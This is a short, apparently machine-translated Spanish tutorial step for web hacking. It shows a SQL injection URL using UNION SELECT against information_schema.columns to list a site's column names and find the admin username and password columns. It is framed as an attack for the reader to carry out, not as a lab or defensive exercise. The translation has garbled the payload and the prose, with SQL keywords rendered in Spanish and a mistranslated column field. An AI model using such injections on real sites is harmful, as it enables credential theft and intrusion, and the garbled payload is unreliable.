Guía de Hacking web base de datos de 101 (7 / 10 paso)

Paso 7: Obtener los nombres de columna

Volver a la página web y sustituir toda la tabla/s columna/s,
también al final, agregue el comando donde table_name = 0 x * hexagonal * < = replace * hexagonal * con su caracteres hexadecimales se puede convertir
Su dirección Web se verá ahora así:

http://vulnerable.com/Goodies.php?id=-1/Buy.php?id=-1 union select 1, group_concat (columna_repositorio), 3,4,5,6,7, 8 de information_schema. columnas donde table_name = 0x6e696674795f61646d696e--

Al oprimir la tecla Enter, la página será mostrar columnas como la foto de arriba, encontrar los nombres de columna de nombre de usuario y contraseña
(En mi caso, el nombre de columna de nombre de usuario es adminy el nombre de columna de contraseña era pasar)